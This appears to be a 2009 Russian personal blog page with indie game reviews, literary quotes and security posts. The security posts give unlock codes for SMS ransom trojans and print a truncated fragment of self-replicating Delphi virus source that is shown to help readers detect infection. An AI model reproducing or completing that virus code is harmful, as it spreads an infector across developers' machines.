Home

Реклама

Настроить

Attack of the 50th Robot

Ноя. 10, 2009 | 04:15 am


 
 
Attack of the 50th Robot - очередной адовый экшен от студентов института DigiPen, участник IGF 2010. Может быть кто-то еще помнит черно-белые фильмы, где Супермен борется с Годзиллой? Эта игра выполнена в похожем стиле - нуар, старая кинопленка, эпическая музыка, картонные здания :)
 
Трейлер игры:
 
 
PS
Tale Of Tales собрали на канале YouTube все трейлеры игр, которые участвуют на Independent Games Festival 2010. http://www.youtube.com/view_play_list?p=676B9D51A1FF7D24
 

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Игра-троян

Ноя. 7, 2009 | 11:42 pm

 Независимая игра Lose/Lose под Mac, участник Independent Games Festival, официально объявлена трояном.

Суть в следующем. "Чужие", которые летят на вас сверху вниз - это ваши файлы. При уничтожении пришельца, у вас РЕАЛЬНО затирается один из файлов на жестком диске. Если же убивают вас, игра уничтожает себя.

Автор честно предупреждает обо всем этом. Игру можно скачать с сайта разработчика на свой страх и риск:
http://www.stfj.net/index2.php?project=art/2009/loselose

Symantec выложили видео, которое иллюстрирует игровой процесс. Кроме того, в своем блоге они объяснили причины, по которым детектируют эту программу.

Видео:


Разумеется, Касперский также определяет в файле угрозу :)


Ссылка на запись | Оставить комментарий {3} | в избранное | рассказать другу

The Path

Ноя. 4, 2009 | 05:51 am
В колонках: Undertow



Отличный обзор игры The Patch The Path:
http://rutube.ru/tracks/2562946.html?v=61336e5bd2563ab1872ec55dc3cb1d02&autoStart=true&bmstart=0\\

Емко, информативно, с юмором.

От себя добавлю, что во-первых, вернуться на Путь можно. Для этого стоит отыскать девочку в белом платье, и она в буквальном смысле за руку отведет вас на тропинку.

Что касается игры, то это, безусловно, лучшее творение Tale Of Tales. Недавно вышедшая Fatale по пьесе Оскара Уайльда (от тех же разработчиков) оказалась шлаком.

У The Path есть недостатки, но они ээээ... субъективные.  Например, одних может напрягать медленная скорость передвижения и не совсем удобное управление для 3rd person, а другие к этому отнесутся спокойно. Как бы сказать... это элемент стиля. Такие вещи, как управление, здесь роли не играют, потому что The Path - это не игра, это интерактивная история. Здесь нет игровой механики, поэтому "неудобство управления" не является объективным недостатком.


Ссылка на запись | Оставить комментарий {3} | в избранное | рассказать другу

Эрих Мария Ремарк, Триумфальная Арка

Ноя. 2, 2009 | 11:23 pm
В колонках: 43 Urban

 
 
Done.
 
Как обычно, цитаты:

 
У пациента было  круглое жирное  брюшко и тоненькие руки  и ноги. Равик случайно  узнал,  кого  ему  предстоит  оперировать.  То  был некий  Леваль, ведавший  делами  эмигрантов.  Вебер рассказал  об этом Равику как  занятный анекдот. В "Энтернасьонале" имя Леваля было известно каждому беженцу.
 
...
 
Равик стал удалять жировой слой, чтобы подойти к мышцам. Вот он, повелитель беженцев, подумал он. Этот человек держит сотни человеческих  судеб  в   своей  тощей  руке,  теперь  такой  безжизненной  и мертвенно-бледной...  Это  он  распорядился   выслать  из  Франции   старого профессора Майера. У Майера не хватило  сил на новое хождение по мукам, и за день  до высылки он тихо повесился  в шкафу в своем  номере. Больше нигде не нашлось крюка.  Он так отощал от  недоедания, что крюк  для одежды выдержал. Наутро горничная  обнаружила в шкафу немного тряпья и в нем то, что осталось от Майера. Будь у этого жирного брюха  хоть  капля сострадания,  профессор и сейчас был бы жив.
 
...
 
О,  разумеется, он  по-человечески  жалел  Майера,  но,  помимо сострадания,  у  него  было и  так называемое  чувство   национального долга.Всегда найдется  ширма, за  которую можно спрятаться;  у  каждого начальника есть  свой   начальник;   предписания,  указания,  распоряжения,  приказы  и, наконец,   многоголовая   гидра   Мораль    -   Необходимость   -    Суровая действительность - Ответственность,  или как ее там еще  называют...  Всегда
найдется ширма, за  которую  можно  спрятаться, чтобы обойти  самые  простые законы человечности. 
 
Вот он, желчный пузырь, больной, полусгнивший. Таким его сделали сотни порций  филе Россини, потрохов  а-ля Кан,  вальдшнепов  под жирными соусами, сотни литров доброго бордо вкупе с дурным  настроением.  У старика Майера не было подобных забот. А что, если  сделать разрез  плохо,  сделать его шире и глубже,  чем  следует?..  Появится  ли через  неделю  новый,  более душевный чиновник  в  пропахшем  старыми папками  и молью  кабинете, где  дрожащие от страха эмигранты ждут  решения  своей судьбы? Возможно, новый чиновник будет лучше, а может, и хуже. Этот жирный шестидесятилетний человек, который лежит без  сознания на  операционном  столе под  слепящим светом ламп, несомненно, считает  себя   гуманистом.   Вероятно,  Леваль  ласковый  отец,  заботливый супруг...  Но  стоит  ему  переступить  порог  служебного  кабинета  -  и он становится тираном,  сыплющим  фразами  вроде:  "Не можем  же  мы,  на самом деле..." или "К чему мы  придем, если...". Разве погибла бы Франция, если бы Майер  продолжал  ежедневно съедать  свой  скудный  обед...  если бы  вдове Розенталь   разрешили   по-прежнему   занимать   каморку  для   прислуги   в "Энтернасьонале"  и ожидать  своего замученного в застенках  гестапо сына... если бы  владелец белье- вого  магазина Штальман,  больной туберкулезом, не отсидел  шесть месяцев в тюрьме  за нелегальный  переход границы и  не  умер накануне новой высылки?..
 
...
 
Равик снял перчатки и маску. Высокопоставленный чиновник выскользнул на бесшумных колесах из операционной. Равик  поглядел ему вслед.  Знал бы ты, Леваль, подумал  он, что  твой сверхлегальный  желчный  пузырь позволит мне, нелегальному беженцу,  провести несколько в высшей степени  нелегальных дней на Ривьере!
 
--------------------------------------------------------------     
 
  Равику   вдруг  почудилось,  будто  в  этом  подвале,  лишенном  света, скопилось все  горе  мира.  Желтые,  увядшие груши  электрических  лампочек, висевшие  под  потолком,  сочились каким-то болезненным  светом,  и от этого помещение  выглядело  еще   более   безутешным.  Молчание,  шепот,  шуршание документов  и денег,  пересчитываемых в сотый раз, бессмысленное сидение  на месте,  беспомощное ожидание конца,  крупица  судорожного  мужества,  жизнь, тысячекратно униженная и теперь окончательно загнанная  в тупик, отчаявшаяся и  изнемогающая...  Он явственно  ощутил все  это, услышал запах этой жизни, запах  страха - последнего, огромного, молчаливого  страха. До чего  же  был знаком  ему этот запах! Концентрационный лагерь...Людей хватали на улицах, вытаскивали ночью из постелей.  Загнанные в бараки, они с трепетом  ожидали, что с ними произойдет...      Рядом за столиком сидели двое - женщина с гладко расчесанными на пробор волосами и ее муж. Перед ними стоял мальчик лет восьми. Только что он бродил между столиками, прислушиваясь к разговорам, и теперь вернулся к родителям.
- Почему мы евреи? - спросил он мать. Она ничего не ответила.
 
 
--------------------------------------------------------------
 
Она сидела  с  каким-то мужчиной довольно  далеко  от них,  на террасе, выходившей на авеню Георга Пятого.
- Ты его знаешь? - спросил Морозов.
Равик всмотрелся.
- Нет.
- Похоже, она меняет их довольно часто.
- Торопится жить, - равнодушно заметил Равик. - Как большинство из нас.
 
--------------------------------------------------------------
 
Все было хорошо. И  то, что произошло, и  то, что еще произойдет. Всего было достаточно. А наступит конец - что ж, пусть! Одного человека он любил и потерял.  Другого - ненавидел и убил. Оба освободили его. Один воскресил его чувства,   другой  -   погасил   память  о   прошлом.  Не  осталось   ничего незавершенного.  У него больше  не было ни желаний, ни ненависти, ни  жалоб. Если что-то  должно начаться вновь - пусть начинается. Можно начинать, когда ничего не  ждешь, можно  начинать. К  тому же  на его  стороне  простая сила опыта, и  она не пропала,  а, напротив, только возросла. Пепелище расчищено, парализованные участки ожили вновь, цинизм превратился в силу. Все это было хорошо.
 
--------------------------------------------------------------
 
Все стало невесомым и словно парило в пространстве. Будущее встретилось с  прошлым,  и  не было больше ни  желаний,  ни  боли. Прошедшее  и  будущее казались  одинаково  важными  и значительными.  Горизонты  сравнялись,  и на какое-то удивительное мгновение чаши бытия уравновесились. Судьба никогда не может  быть  сильнее  спокойного  мужества, которое  противостоит ей.

 
Метки:

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Самый идиотский ключ

Окт. 27, 2009 | 02:37 am


 
Код разблокировки - семь нулей ("0000000").
 
На самом деле, здесь используется тот же движок, что и в этом трояне. Механизм разблокировки у них одинаковый, отличается только оформление.
 
И да, алгоритм проверки ключа действителен: 7-значное число, где 7-ая цифра = сумма двух первых. 1234563 здесь тоже подходит. Но похоже, авторы забыли, что 0 + 0 = 0, и никак не обрабатывают эту очевидную ситуацию.
 
Если у вас блокируется система и требует отправить СМС,  попробуйте сперва код из 7-ми нулей. Внешний вид может отличаться, но внутренности могут совпадать.

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Новая порция троянов-блокировщиков

Окт. 20, 2009 | 10:03 pm
В колонках: Mell

 "На вашем компьютере обнаружена нелицензионная версия Windows"

Код разблокировки: 0009990001




Код удаления информера: 22582825



Код разблокировки: 52849190

Злоумышленники могут модифицировать код удаления подобной херни, но слухи, что якобы код зависит от конфигурации машины - это чушь. Как правило, вирусописатели так не заморачиваются.

Ссылка на запись | Оставить комментарий {1} | в избранное | рассказать другу

Десятка лучших советов: Гейм-дизайнер

Окт. 19, 2009 | 08:02 pm

Автор: Tim Lang (Spin Master Studios)

Перевод с английского: flexcreator

Источник: GameCarreerGuide.com

1. Пишите дизайн-документ.

Дизайн-документы лежат в сердце гейм-дизайна. Каждый гейм-дизайнер пишет его частично или целиком в процессе работы над проектом. Поскольку слово, написанное на бумаге, является одним из важнейших инструментов дизайнера, нелишним окажется умение хорошо писать.

На рынке есть множество книг, посвященных данному вопросу, но единственный действенный путь стать лучше - это продолжать писать. На Gamasutra.com есть серия статей "Anatomy of a Design Document". Она даст вам больше информации о написании GDD.

flexcreator: Ссылки на "Anatomy of a Design Document":

http://www.gamasutra.com/features/19991019/ryan_01.htm

http://www.gamasutra.com/features/19991217/ryan_01.htm

2. Построение игрового 3D-уровня.

Разработка игрового уровня - это уже действительно серьезная работа. Задействуется 90 процентов игровой механики, скетчей, системы инвентаря, скриптов, кода и логики искусственного интеллекта. Построение игровых уровней лежит в основе гейм-дизайна, практически невозможно получить работу, если у вас нет ни одного такого уровня в портфолио.

3. Пишите игровые скрипты.

В данном контексте, "скрипты" означают "код". Есть очень много веских причин ддя гейм-дизайнера писать скрипты.

Гейм-дизайнеры - это люди, знакомые с геймлплеем как никто другой, поэтому если они будут принимать участие в написании скриптов, это ускорит прохождение через итерацию дизайна игровых элементов. Кроме того, это даст дизайнерам хорошую точку отсчета при разговоре с программистами.

Read more... )
Метки: ,

Ссылка на запись | Оставить комментарий {2} | в избранное | рассказать другу

Милиционер всегда прав

Окт. 18, 2009 | 11:33 pm

"Адвокат считает дело Остапова прецедентом: следствие с самого начала приняло сторону сотрудников милиции. Налицо пренебрежение правами граждан, которые в результате таких дел понимают, что "милиционер всегда прав", и любые спорные ситуации предпочитают решать при помощи взяток. Что снова и снова воспроизводит коррупцию в правоохранительных органах."

http://tupikin.livejournal.com/431337.html
 
Метки: ,

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Не ведитесь на лохотрон!

Окт. 13, 2009 | 06:10 pm
Где: Определите по номеру телефона :)
В колонках: Hatebreed - Not My Master

 "Система GSM-ЛОКАТОР была разработана в США во времена холодной войны. Много лет данная программа - пеленгатор находилась под грифом "СОВЕРШЕННО СЕКРЕТНО", но теперь Вы имеете великий шанс воспользоваться супер-секретным проектом, для того чтобы найти человека по номеру мобильного телефона."

"Только представьте себе, вы узнаете, где находится ваш любимый человек, и что он делает, имея на вооружение только цифры его телефонного номера."

"Вы просто вводите номер телефона в форму и система автоматически начинает поиск абонента сети. Результат поиска вы увидите почти сразу, с переходом на карту местности. "

"Теперь Вы без проблем сможете узнать, где в данный момент находится Ваш супруг, ребёнок или другой нужный Вам человек, если только мобильный телефон находится при нём."

ВРАНЬЕ!!!

Нельзя найти человека по номеру телефона, если у владельцев проекта нет доступа к базе оператора. Вы отправляете смс, с вас снимают 300 рублей и максимум что дают - "этот номер зарегистрирован в Москве / Московской области".

При этом формально, такой лохотрон является легальным.

ВСЕГДА внимательно читаем пользовательское соглашение, прежде чем куда-то что-то посылать!

Цитирую:

Сайт poisk.to

Используя данный сайт пользователь соглашается не возлагать на владельцев ответственность за любые возможные действия, требования, убытки, ущерб, гражданскую ответственность и расходы, включая разумный гонорар адвоката, в связи с использованием настоящего сайта. Если пользователь не удовлетворен любыми материалами настоящего сайта, или любыми из условий пользования, единственным и исключительным средством в распоряжении пользователя является отказ от использования сайта. Пользователь имеет право пользоваться данным сайтом исключительно в стандартных целях. Цена доступа к сайту на странице оплаты указанна за сорок проверок сделанных через сервис. Исходя из этого сумма со счёта списывается сразу за все сорок проверок. Примерная стоимость смс равна двустам восемдесяти рублям

Сайт www.locatorgsm.com

www.locatorgsm.com – это шуточный игровой сервис, предоставляющий пользователю доступ к Flash-игре на платной основе. 

...

Пользователь использует игровой-сервис www.locatorgsm.com на свой собственный риск. Услуги www.locatorgsm.com предоставляются "как есть". www.locatorgsm.com не принимает на себя никакой ответственности, в том числе и за соответствие результата поискового запроса цели Пользователя

И т.д.






Метки:

Ссылка на запись | Оставить комментарий {1} | в избранное | рассказать другу

"Вас жутко наебали. Что же вам теперь делать?"

Сент. 30, 2009 | 11:56 pm

 

Вариант 10: Послать этого мудака нахуй, ввести код superegg и продолжить нормальную работу после перезагрузки. Да, код разблокировки жестко вшит в программу.

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Shank, в лучших традициях 8-биток

Сент. 29, 2009 | 03:14 am



Офф сайт игры 
Редко встретишь хорошо стилизованные 2d-аркады. Игра еще не вышла, но есть видео:


Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Многострочная замена текста

Сент. 20, 2009 | 11:42 pm



Это кажется удивительным, но даже такие IDE как Visual Studio и такие редакторы как Notepad++ не способны к многострочному поиску и замене.

Я не нашел способа найти и заменить блок комментариев с использованием этих средств в группе файлов исходников.

Но есть утилита Text Replacer, которая специально предназначена для этой цели.
Метки: ,

Ссылка на запись | Оставить комментарий {2} | в избранное | рассказать другу

Вымогатели бабла

Сент. 14, 2009 | 07:33 pm

 
 
Если вы вдруг стали жертвой такого трояна, не торопитесь сносить систему (и тем более никому не посылайте никакие смс!!!). Код разблокировки - 7-значное число, где 7-ая цифра = сумма двух первых, а все остальные цифры могут быть произвольными.

Ссылка на запись | Оставить комментарий {15} | в избранное | рассказать другу

Vox Populi, Vox Dei

Сент. 4, 2009 | 11:33 pm
В колонках: Двадцатые

 
 
 
Vox Populi, Vox Dei - ОЧЕНЬ кровавый стелс-платформер. Гопники-оборотни похитили бывшую главного героя, и теперь он вынужден копаться в их внутренностях (см. скриншот), чтобы вызволить ее из плена. Как вы поняли, враги умирают мучительно, но главное - долго, и это влияет на игровой процесс. Если другой оборотень застанет вас за процессом казни, то хана. Вообще игра должна проходиться очень аккуратно, враги здесь меткие, а автоматные очереди - быстрые. Я бы даже не назвал это экшеном -  ближайший аналог даже не Splinter Cell, а Commandos! Над каждой сценой приходится немного поломать голову, и почти в каждой сцене окружение играет определенную роль.

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Canabalt

Сент. 2, 2009 | 01:38 pm
В колонках: Unveil


 
 
Canabalt экспериментальный флеш-платформер, где мы играем за чувака, который непрерывно бежит по крышам от тотального пиздеца. На заднем плане ходят огромные роботы, горят здания и т.п. Собственно, чувак бежит сам, а игрок лишь должен вовремя нажимать кнопку прыжка. Как только мы падаем, игра показывает, сколько метров мы пробежали. Суть игры - продержаться как можно дольше. Этакий паркур на выживание.
 

Ссылка на запись | Оставить комментарий {1} | в избранное | рассказать другу

Маленький космический дуэт

Авг. 31, 2009 | 11:47 pm
В колонках: Tank A.D. - Жизненные ценности


 
Игра платная, в демо-версии  доступно 5 уровней.
 
Little Space Duo - платформер-квест про девочку Люси, которая оказалась на корабле, полном свихнувшихся роботов. Задача каждого уровня игры - провести девочку до двери, предварительно разблокировав эту дверь с помощью нескольких терминалов. Причем, терминалов на уровне больше, чем нужно. Т.е. вам не обязательно использовать их все - игра просто дает альтернативные маршруты. 
 
Девочке помогает летающий робот Санни, похожий на бонусную стекляшку из Battletoads. Вся игра строится на кооперации между этими двумя персонажами. Персонажей можно менять в процессе одиночной игры, но есть также кооперативный режим для двух игроков за одним компом. На робота не реагирует большинство вражеских персонажей, робот может пролетать сквозь вентиляцию, а еще Люси использует его вместо парашюта. Девочка, в отличие от робота, может использовать терминалы и приводить в движение лифты.
 
Музло тоже заслуживает внимания. В целом, арт и дизайн уровней выполнены в стиле научно-фантастических фильмов старой школы. Если вы фанат "Стар Трека", вам игра определенно понравится.

Ссылка на запись | Оставить комментарий | в избранное | рассказать другу

Winamp нервно курит

Авг. 19, 2009 | 10:18 pm

 
Метки:

Ссылка на запись | Оставить комментарий {1} | в избранное | рассказать другу

Дельфийский вирус

Авг. 16, 2009 | 10:41 pm


 
ВНИМАНИЕ! Появился новый вирус, который заражает только машины Delphi-программистов.
 
Как это работает?
Добавляется исходный код на Delphi в файл SysConst.dcu, и все программы, которые скомпилированы на Delphi с вашего компа, будут содержать код вируса и точно также заражать лругие машины. Вирус быстро распространяется. Самое известное заражение - это пока что QIP. 
 
Вообщем, не повезло тем, кто программирует под Delphi.
А я, между прочим, давно говорю, что Delphi - ГАВНО!
 
Как с этим бороться?
Надо поискать код, похожий на нижеследующий, в ваших Delphi-исходниках. Почему нельзя ограничиваться только SysConst, и почему похожий? Потому что способ распространения пока только тестируется, вирус пока не делает ничего вредоносного. Это значит, что скоро появятся модификации, и неизвестно, что и как они будут заражать. Будьте бдительны!
 
uses windows;
 
 
 
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
 
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
 
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
 
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
 
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
 

Ссылка на запись | Оставить комментарий {5} | в избранное | рассказать другу

Якубович

Авг. 15, 2009 | 12:36 am


 

"Мне почему-то кажется, что когда Якубовичу дарят очередное говно, он с презрением смотрит из телевизора на Россию."


-maddyson

http://www.maddyblog.ru/

Метки:

Ссылка на запись | Оставить комментарий {2} | в избранное | рассказать другу

Один лишь раз мы живем

Авг. 7, 2009 | 08:38 pm


 
Главная фишка flash-платформера "You Only Live Once" заключается в том, что в нее можно поиграть только один раз. Справились, спасли девушку от злобного розового ящера - отлично, все счастливы. Упали на шипы / пали жертвой врага / спрыгнули с большой высоты - вы честно умираете, и больше вы НИКОГДА не сможете поиграть в эту игру. Вот такая херня.
 
PS
Конечно, это ограничение - условность. Можно считерить, очистив кэш, где игра хранит свои данные. Для этого заходим на сайт
 
Заходим на вкладку "Website Storage Settings Panel" и жмем "Удалить все сайты".
 
После этого игра не будет помнить, что вы "умерли".
 
Самая эффектная часть в игре - это Game Over, рекомендую попробовать проигрывать различными способами и посмотреть на результат. Игра переведена на большинство языков мира, поэтому вы поймете сюжет, даже не зная английского.

Ссылка на запись | Оставить комментарий {5} | в избранное | рассказать другу

Реклама

Настроить